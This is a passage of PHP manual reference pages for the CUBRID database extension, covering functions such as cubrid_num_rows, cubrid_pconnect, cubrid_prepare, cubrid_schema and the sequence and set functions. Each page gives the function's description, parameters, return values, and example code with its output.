    $column_last_len = cubrid_field_len($req, $col_num - 1);

    $column_1_flags = cubrid_field_flags($req, 1);

    printf("%-30s %d\n", "Row count:", $row_num);
    printf("%-30s %d\n", "Column count:", $col_num);
    printf("\n");

    printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Len");
    printf("------------------------------------------------------------------------------\n");

    $size = count($column_name_list);
    for($i = 0; $i < $size; $i++) {
        $column_len = cubrid_field_len($req, $i);
        printf("%-30s %-30s %-15s\n", $column_name_list[$i], $column_type_list[$i], $column_len);
    }
    printf("\n\n");

    printf("%-30s %s\n", "Last Column Name:", $column_last_name);
    printf("%-30s %s\n", "Last Column Table:", $column_last_table);
    printf("%-30s %s\n", "Last Column Type:", $column_last_type);
    printf("%-30s %d\n", "Last Column Len:", $column_last_len);
    printf("%-30s %s\n", "Second Column Flags:", $column_1_flags);

    printf("\n\n");
}
?>

The above example will output:

------------ get_result_info --------------------
Row count:                     6
Column count:                  2

Column Names                   Column Types                   Column Len
------------------------------------------------------------------------------
s_name                         char(1)                        1
f_name                         varchar(6)                     6

Last Column Name:              f_name
Last Column Table:             code
Last Column Type:              varchar(6)
Last Column Len:               6
Second Column Flags:

------------ get_result_info --------------------
Row count:                     4
Column count:                  5

Column Names                   Column Types                   Column Len
------------------------------------------------------------------------------
event_code                     integer                        11
athlete                        varchar(40)                    40
host_year                      integer                        11
score                          varchar(10)                    10
unit                           varchar(5)                     5

Last Column Name:              unit
Last Column Table:             history
Last Column Type:              varchar(5)
Last Column Len:               5
Second Column Flags:           not_null primary_key unique_key

See Also

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.
cubrid_move_cursor
cubrid_num_cols
CUBRID Functions


Return the number of columns in the result set

cubrid_next_result
cubrid_num_rows
CUBRID Functions
PHP Manual

cubrid_num_cols

(PECL CUBRID >= 8.3.0)

cubrid_num_cols — Return the number of columns in the result set

Description

int cubrid_num_cols ( resource $result )

The cubrid_num_cols() function is used to get the number of columns from the query result. It can only be used when the query executed is a select statement.

Parameters

result

Result.

Return Values

Number of columns, when process is successful.

-1, if SQL statement is not SELECT.

Examples

Example #1 cubrid_num_cols() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

The above example will output:

Row Num: 6
Column Num: 2

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_num_rows() - Get the number of rows in the result set

User Contributed Notes

There are no user contributed notes for this page.
cubrid_next_result
cubrid_num_rows
CUBRID Functions


Get the number of rows in the result set

cubrid_num_cols
cubrid_pconnect_with_url
CUBRID Functions
PHP Manual

cubrid_num_rows

(PECL CUBRID >= 8.3.0)

cubrid_num_rows — Get the number of rows in the result set

Description

int cubrid_num_rows ( resource $result )

The cubrid_num_rows() function is used to get the number of rows from the query result. You can use it only when the query executed is a select statement. When you want to know such value for INSERT, UPDATE, or DELETE query, you have to use the cubrid_affected_rows() function.

Note: The cubrid_num_rows() function can only be used for synchronous query; it returns 0 when it is used for asynchronous query.

Parameters

result

Result.

Return Values

Number of rows, when process is successful.

0 when the query was done in async mode.

-1, if SQL statement is not SELECT.

Examples

Example #1 cubrid_num_rows() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

The above example will output:

Row Num: 6
Column Num: 2

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_num_cols() - Return the number of columns in the result set
  • cubrid_affected_rows() - Return the number of rows affected by the last SQL statement

User Contributed Notes

There are no user contributed notes for this page.
cubrid_num_cols
cubrid_pconnect_with_url
CUBRID Functions


Open a persistent connection to CUBRID server

cubrid_num_rows
cubrid_pconnect
CUBRID Functions
PHP Manual

cubrid_pconnect_with_url

(PECL CUBRID >= 8.3.1)

cubrid_pconnect_with_url — Open a persistent connection to CUBRID server

Description

resource cubrid_pconnect_with_url ( string $conn_url [, string $userid [, string $passwd ]] )

Establishes a persistent connection to a CUBRID server.

cubrid_pconnect_with_url()() acts very much like cubrid_connect_with_url() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, port, dbname and userid. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (cubrid_close() or cubrid_disconnect() will not close links established by cubrid_pconnect_with_url()).

This type of link is therefore called 'persistent'.

<url> ::= CUBRID:<host>:<db_name>:<db_user>:<db_password>:[?<properties>]
<properties> ::= <property> [&<property>]
<properties> ::= autocommit=<autocommit_mode>
<alternative_hosts> ::= <standby_broker1_host>:<port> [,<standby_broker2_host>:<port>]
<host> := HOSTNAME | IP_ADDR
<time> := SECOND

or <url> ::= cci:CUBRID:<host>:<db_name>:......

  • host : A host name or IP address of the master database
  • db_name : A name of the database
  • db_user : A name of the database user
  • db_password : A database user password
  • autocommit : The database connection auto-commit mode
  • alhosts: Specifies the broker information of the standby server, which is used for failover when it is impossible to connect to the active server. You can specify multiple brokers for failover, and the connection to the brokers is attempted in the order listed in alhosts
  • rctime : An interval between the attempts to connect to the active broker in which failure occurred. After a failure occurs, the system connects to the broker specified by althosts (failover), terminates the transaction, and then attempts to connect to the active broker of the master database at every rctime. The default value is 600 seconds.

Parameters

conn_url

A character string that contains server connection information.

userid

User name for the database.

passwd

User password.

Return Values

Connection identifier, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_connect_with_url() url without properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba:123456:?autocommit=off"
$con = cubrid_pconnect_with_url ($conn_url);

if ($con) {
   echo "connected successfully";
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request ($req);
      cubrid_commit ($con);
   } else {
      cubrid_rollback ($con);
   }
   cubrid_disconnect ($con);
}
?>

Example #2 cubrid_connect_with_url() url with properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba:123456:?autocommit=off&althost=10.34.63.132:33088&rctime=100"
$con = cubrid_connect_with_url ($conn_url);

if ($con) {
   echo "connected successfully";
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request ($req);
      cubrid_commit ($con);
   } else {
      cubrid_rollback ($con);
   }
   cubrid_disconnect ($con);
}
?>

See Also

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_pconnect_with_url()
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.
cubrid_num_rows
cubrid_pconnect
CUBRID Functions


Open a persistent connection to a CUBRID server

cubrid_pconnect_with_url
cubrid_prepare
CUBRID Functions
PHP Manual

cubrid_pconnect

(PECL CUBRID >= 8.3.1)

cubrid_pconnect — Open a persistent connection to a CUBRID server

Description

resource cubrid_pconnect ( string $host , int $port , string $dbname [, string $userid [, string $passwd ]] )

Establishes a persistent connection to a CUBRID server.

cubrid_pconnect()() acts very much like cubrid_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, port, dbname and userid. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (cubrid_close() or cubrid_disconnect() will not close links established by cubrid_pconnect()).

This type of link is therefore called 'persistent'.

Parameters

host

Host name or IP address of CUBRID CAS server.

port

Port number of CUBRID CAS server (BROKER_PORT configured in $CUBRID/conf/cubrid_broker.conf).

dbname

Name of database.

userid

User name for the database.

passwd

User password.

Return Values

Connection identifier, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_connect() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_pconnect("localhost", 33000, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);
?>

The above example will output:

CUBRID PHP Version:            8.4.1.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   0
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              0

Server Info:                   8.4.1.0508
Client Info:                   8.4.1

CUBRID Charset:                iso8859-1

See Also

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.
cubrid_pconnect_with_url
cubrid_prepare
CUBRID Functions


Prepare an SQL statement for execution

cubrid_pconnect
cubrid_put
CUBRID Functions
PHP Manual

cubrid_prepare

(PECL CUBRID >= 8.3.0)

cubrid_prepare — Prepare an SQL statement for execution

Description

resource cubrid_prepare ( resource $conn_identifier , string $prepare_stmt [, int $option = 0 ] )

The cubrid_prepare() function is a sort of API which represents SQL statements compiled previously to a given connection handle. This pre-compiled SQL statement will be included in the cubrid_prepare().

Accordingly, you can use this statement effectively to execute several times repeatedly or to process long data. Only a single statement can be used and a parameter may put a question mark (?) to appropriate area in the SQL statement. Add a parameter when you bind a value in the VALUES clause of INSERT statement or in the WHERE clause. Note that it is allowed to bind a value to a MARK(?) by the cubrid_bind() only.

Parameters

conn_identifier

Connection identifier.

prepare_stmt

Prepare query.

option

OID return option CUBRID_INCLUDE_OID.

Return Values

Request identifier, if process is successful;

FALSE, if process is unsuccessful.

Examples

Example #1 cubrid_prepare() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$sql = <<<EOD
SELECT g.event_code, e.name
FROM game g
JOIN event e ON g.event_code=e.code
WHERE host_year = ? AND event_code NOT IN (SELECT event_code FROM game WHERE host_year=?) GROUP BY event_code;
EOD;

$req = cubrid_prepare($conn, $sql);

cubrid_bind($req, 1, 2004);
cubrid_bind($req, 2, 2000);
cubrid_execute($req);

$row_num = cubrid_num_rows($req);
printf("There are %d event that exits in 2004 olympic but not in 2000. For example:\n\n", $row_num);

printf("%-15s %s\n", "Event_code", "Event_name");
printf("----------------------------\n");

$row = cubrid_fetch_assoc($req);
printf("%-15d %s\n", $row["event_code"], $row["name"]);
$row = cubrid_fetch_assoc($req);
printf("%-15d %s\n", $row["event_code"], $row["name"]);

cubrid_disconnect($conn);
?>

The above example will output:

There are 27 event that exits in 2004 olympic but not in 2000. For example:

Event_code      Event_name
----------------------------
20063           +91kg
20070           64kg

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_bind() - Bind variables to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.
cubrid_pconnect
cubrid_put
CUBRID Functions


Update a column using OID

cubrid_prepare
cubrid_rollback
CUBRID Functions
PHP Manual

cubrid_put

(PECL CUBRID >= 8.3.0)

cubrid_put — Update a column using OID

Description

int cubrid_put ( resource $conn_identifier , string $oid [, string $attr ], mixed $value )

The cubrid_put() function is used to update an attribute of the instance of the given oid.

You can update single attribute by using string data type to set attr. In such case, you can use integer, float-point, or string type data for the value argument. To update multiple number of attributes, you can disregard the attr argument, and set value argument with associative array data type.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to update.

attr

Name of the attribute that you want to update.

value

New value that you want to assign to the attribute.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_put() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_put($conn, $oid, "b", array(2, 4, 8));

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(3) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "4"
  [2]=>
  string(1) "8"
}

See Also

  • cubrid_get() - Get a column using OID
  • cubrid_set_add() - Insert a single element to set type column using OID
  • cubrid_set_drop() - Delete an element from set type column using OID
  • cubrid_seq_insert() - Insert an element to a sequence type column using OID
  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.
cubrid_prepare
cubrid_rollback
CUBRID Functions


Roll back a transaction

cubrid_put
cubrid_schema
CUBRID Functions
PHP Manual

cubrid_rollback

(PECL CUBRID >= 8.3.0)

cubrid_rollback — Roll back a transaction

Description

bool cubrid_rollback ( resource $conn_identifier )

The cubrid_rollback() function executes rollback on the transaction pointed by conn_identifier, currently in progress.

Connection to server is closed after calling cubrid_rollback(). Connection handle, however, is still valid.

Parameters

conn_identifier

Connection identifier.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_rollback() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE publishers");

$sql = <<<EOD
CREATE TABLE publishers(
pub_id CHAR(3),
pub_name VARCHAR(20),
city VARCHAR(15),
state CHAR(2),
country VARCHAR(15)
)
EOD;

if (!cubrid_execute($conn, $sql)) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n", cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}

$req = cubrid_prepare($conn, "INSERT INTO publishers VALUES(?, ?, ?, ?, ?)");

$id_list = array("P01", "P02", "P03", "P04");
$name_list = array("Abatis Publishers", "Core Dump Books", "Schadenfreude Press", "Tenterhooks Press");
$city_list = array("New York", "San Francisco", "Hamburg", "Berkeley");
$state_list = array("NY", "CA", NULL, "CA");
$country_list = array("USA", "USA", "Germany", "USA");

for ($i = 0, $size = count($id_list); $i < $size; $i++) {
    cubrid_bind($req, 1, $id_list[$i]);
    cubrid_bind($req, 2, $name_list[$i]);
    cubrid_bind($req, 3, $city_list[$i]);
    cubrid_bind($req, 4, $state_list[$i]);
    cubrid_bind($req, 5, $country_list[$i]);

    if (!($ret = cubrid_execute($req))) {
        break;
    }
}

if (!$ret) {
    cubrid_rollback($conn);
} else {
    cubrid_commit($conn);

    $req = cubrid_execute($conn, "SELECT * FROM publishers");
    while ($result = cubrid_fetch_assoc($req)) {
        printf("%-3s %-20s %-15s %-3s %-15s\n",
            $result["pub_id"], $result["pub_name"], $result["city"], $result["state"], $result["country"]);
    }
}

cubrid_disconnect($conn);
?>

The above example will output:

P01 Abatis Publishers    New York        NY  USA
P02 Core Dump Books      San Francisco   CA  USA
P03 Schadenfreude Press  Hamburg             Germany
P04 Tenterhooks Press    Berkeley        CA  USA

See Also

  • cubrid_commit() - Commit a transaction
  • cubrid_disconnect() - Close a database connection

User Contributed Notes

There are no user contributed notes for this page.
cubrid_put
cubrid_schema
CUBRID Functions


Get the requested schema information

cubrid_rollback
cubrid_seq_drop
CUBRID Functions
PHP Manual

cubrid_schema

(PECL CUBRID >= 8.3.0)

cubrid_schema — Get the requested schema information

Description

array cubrid_schema ( resource $conn_identifier , int $schema_type [, string $class_name [, string $attr_name ]] )

The cubrid_schema() function is used to get the requested schema information from database. You have to designate class_name, if you want to get information on certain class, attr_name, if you want to get information on certain attribute (can be used only with CUBRID_ SCH_ATTR_PRIVILEGE).

The result of the cubrid_schema function is returned as a two-dimensional array (column (associative array) * row (numeric array)). The following tables shows types of schema and the column structure of the result array to be returned based on the schema type.

Result Composition of Each Type
Schema | Column Number | Column Name | Value
CUBRID_SCH_CLASS | 1 | NAME |
 | 2 | TYPE | 0:system class 1:vclass 2:class
CUBRID_SCH_VCLASS | 1 | NAME |
 | 2 | TYPE | 1:vclass
CUBRID_SCH_QUERY_SPEC | 1 | QUERY_SPEC |
CUBRID_SCH_ATTRIBUTE / CUBRID_SCH_CLASS_ATTRIBUTE | 1 | ATTR_NAME |
 | 2 | DOMAIN |
 | 3 | SCALE |
 | 4 | PRECISION |
 | 5 | INDEXED | 1:indexed
 | 6 | NOT NULL | 1:not null
 | 7 | SHARED | 1:shared
 | 8 | UNIQUE | 1:unique
 | 9 | DEFAULT |
 | 10 | ATTR_ORDER | base:1
 | 11 | CLASS_NAME |
 | 12 | SOURCE_CLASS |
 | 13 | IS_KEY | 1:key
CUBRID_SCH_METHOD / CUBRID_SCH_CLASS_METHOD | 1 | NAME |
 | 2 | RET_DOMAIN |
 | 3 | ARG_DOMAIN |
CUBRID_SCH_METHOD_FILE | 1 | METHOD_FILE |
CUBRID_SCH_SUPERCLASS / CUBRID_SCH_DIRECT_SUPER_CLASS / CUBRID_SCH_SUBCLASS | 1 | CLASS_NAME |
 | 2 | TYPE | 0:system class 1:vclass 2:class
CUBRID_SCH_CONSTRAINT | 1 | TYPE | 0:unique 1:index 2:reverse unique 3:reverse index
 | 2 | NAME |
 | 3 | ATTR_NAME |
 | 4 | NUM_PAGES |
 | 5 | NUM_KEYS |
 | 6 | PRIMARY_KEY | 1:primary key
 | 7 | KEY_ORDER | base:1
CUBRID_SCH_TRIGGER | 1 | NAME |
 | 2 | STATUS |
 | 3 | EVENT |
 | 4 | TARGET_CLASS |
 | 5 | TARGET_ATTR |
 | 6 | ACTION_TIME |
 | 7 | ACTION |
 | 8 | PRIORITY |
 | 9 | CONDITION_TIME |
 | 10 | CONDITION |
CUBRID_SCH_CLASS_PRIVILEGE / CUBRID_SCH_ATTR_PRIVILEGE | 1 | CLASS_NAME / ATTR_NAME |
 | 2 | PRIVILEGE |
 | 3 | GRANTABLE |
CUBRID_SCH_PRIMARY_KEY | 1 | CLASS_NAME |
 | 2 | ATTR_NAME |
 | 3 | KEY_SEQ | base:1
 | 4 | KEY_NAME |
CUBRID_SCH_IMPORTED_KEYS / CUBRID_SCH_EXPORTED_KEYS / CUBRID_SCH_CROSS_REFERENCE | 1 | PKTABLE_NAME |
 | 2 | PKCOLUMN_NAME |
 | 3 | FKTABLE_NAME | base:1
 | 4 | FKCOLUMN_NAME |
 | 5 | KEY_SEQ | base:1
 | 6 | UPDATE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 7 | DELETE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 8 | FK_NAME |
 | 9 | PK_NAME |

Parameters

conn_identifier

Connection identifier.

schema_type

Schema data that you want to know.

class_name

Class you want to know the schema of.

attr_name

Attribute you want to know the schema of.

Return Values

Array containing the schema information, when process is successful;

FALSE, when process is unsuccessful

Changelog

Version | Description
8.3.1 | Change return value: when process is unsuccessful, return false, not -1.

Examples

Example #1 cubrid_schema() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

printf("\n--- Primary Key ---\n");
$pk = cubrid_schema($conn, CUBRID_SCH_PRIMARY_KEY, "game");
var_dump($pk);

printf("\n--- Foreign Keys ---\n");
$fk = cubrid_schema($conn, CUBRID_SCH_IMPORTED_KEYS, "game");
var_dump($fk);

printf("\n--- Column Attribute ---\n");
$attr = cubrid_schema($conn, CUBRID_SCH_ATTRIBUTE, "stadium", "area");
var_dump($attr);

cubrid_disconnect($conn);
?>

The above example will output:

--- Primary Key ---
array(3) {
  [0]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(12) "athlete_code"
    ["KEY_SEQ"]=>
    string(1) "3"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
  [1]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(10) "event_code"
    ["KEY_SEQ"]=>
    string(1) "2"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
  [2]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(9) "host_year"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
}

--- Foreign Keys ---
array(2) {
  [0]=>
  array(9) {
    ["PKTABLE_NAME"]=>
    string(7) "athlete"
    ["PKCOLUMN_NAME"]=>
    string(4) "code"
    ["FKTABLE_NAME"]=>
    string(4) "game"
    ["FKCOLUMN_NAME"]=>
    string(12) "athlete_code"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["UPDATE_RULE"]=>
    string(1) "1"
    ["DELETE_RULE"]=>
    string(1) "1"
    ["FK_NAME"]=>
    string(20) "fk_game_athlete_code"
    ["PK_NAME"]=>
    string(15) "pk_athlete_code"
  }
  [1]=>
  array(9) {
    ["PKTABLE_NAME"]=>
    string(5) "event"
    ["PKCOLUMN_NAME"]=>
    string(4) "code"
    ["FKTABLE_NAME"]=>
    string(4) "game"
    ["FKCOLUMN_NAME"]=>
    string(10) "event_code"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["UPDATE_RULE"]=>
    string(1) "1"
    ["DELETE_RULE"]=>
    string(1) "1"
    ["FK_NAME"]=>
    string(18) "fk_game_event_code"
    ["PK_NAME"]=>
    string(13) "pk_event_code"
  }
}

--- Column Attribute ---
array(1) {
  [0]=>
  array(13) {
    ["ATTR_NAME"]=>
    string(4) "area"
    ["DOMAIN"]=>
    string(1) "7"
    ["SCALE"]=>
    string(1) "2"
    ["PRECISION"]=>
    string(2) "10"
    ["INDEXED"]=>
    string(1) "0"
    ["NON_NULL"]=>
    string(1) "0"
    ["SHARED"]=>
    string(1) "0"
    ["UNIQUE"]=>
    string(1) "0"
    ["DEFAULT"]=>
    NULL
    ["ATTR_ORDER"]=>
    string(1) "4"
    ["CLASS_NAME"]=>
    string(7) "stadium"
    ["SOURCE_CLASS"]=>
    string(7) "stadium"
    ["IS_KEY"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.
cubrid_rollback
cubrid_seq_drop
CUBRID Functions


Delete an element from sequence type column using OID

cubrid_schema
cubrid_seq_insert
CUBRID Functions
PHP Manual

cubrid_seq_drop

(PECL CUBRID >= 8.3.0)

cubrid_seq_drop — Delete an element from sequence type column using OID

Description

bool cubrid_seq_drop ( resource $conn_identifier , string $oid , string $attr_name , int $index )

The cubrid_seq_drop() function is used to delete an element you request from the given sequence type attribute in the database.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute that you want to delete an element from.

index

Index of the element that you want to delete (1-based).

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_seq_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_drop($conn, $oid, "c", 4);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(3) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
}

See Also

  • cubrid_seq_insert() - Insert an element to a sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.
cubrid_schema
cubrid_seq_insert
CUBRID Functions


Insert an element to a sequence type column using OID

cubrid_seq_drop
cubrid_seq_put
CUBRID Functions
PHP Manual

cubrid_seq_insert

(PECL CUBRID >= 8.3.0)

cubrid_seq_insert — Insert an element to a sequence type column using OID

Description

bool cubrid_seq_insert ( resource $conn_identifier , string $oid , string $attr_name , int $index , string $seq_element )

The cubrid_col_insert() function is used to insert an element to a sequence type attribute in a requested location.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to insert an instance to.

index

Location of the element, you want to insert the element to (1-based).

seq_element

Content of the element that you want to insert.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_seq_insert() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_insert($conn, $oid, "c", 5, "44");

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(5) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
  [4]=>
  string(2) "44"
}

See Also

  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.
cubrid_seq_drop
cubrid_seq_put
CUBRID Functions


Update the element value of sequence type column using OID

cubrid_seq_insert
cubrid_set_add
CUBRID Functions
PHP Manual

cubrid_seq_put

(PECL CUBRID >= 8.3.0)

cubrid_seq_put — Update the element value of sequence type column using OID

Description

bool cubrid_seq_put ( resource $conn_identifier , string $oid , string $attr_name , int $index , string $seq_element )

The cubrid_seq_put() function is used to update the content of the requested element in a sequent type attribute using OID.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute that you want to update an element.

index

Index (1-based) of the element that you want to update.

seq_element

New content that you want to use for the update.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_seq_put() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_put($conn, $oid, "c", 1, "111");

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(4) {
  [0]=>
  string(3) "111"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}

See Also

  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_insert() - Insert an element to a sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.
cubrid_seq_insert
cubrid_set_add
CUBRID Functions


Insert a single element to set type column using OID

cubrid_seq_put
cubrid_set_autocommit
CUBRID Functions
PHP Manual

cubrid_set_add

(PECL CUBRID >= 8.3.0)

cubrid_set_add — Insert a single element to set type column using OID

Description

bool cubrid_set_add ( resource $conn_identifier , string $oid , string $attr_name , string $set_element )

The cubrid_set_add() function is used to insert a single element to a set type attribute (set, multiset, sequence) you requested.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to insert an element.

set_element

Content of the element you want to insert.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_set_add() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

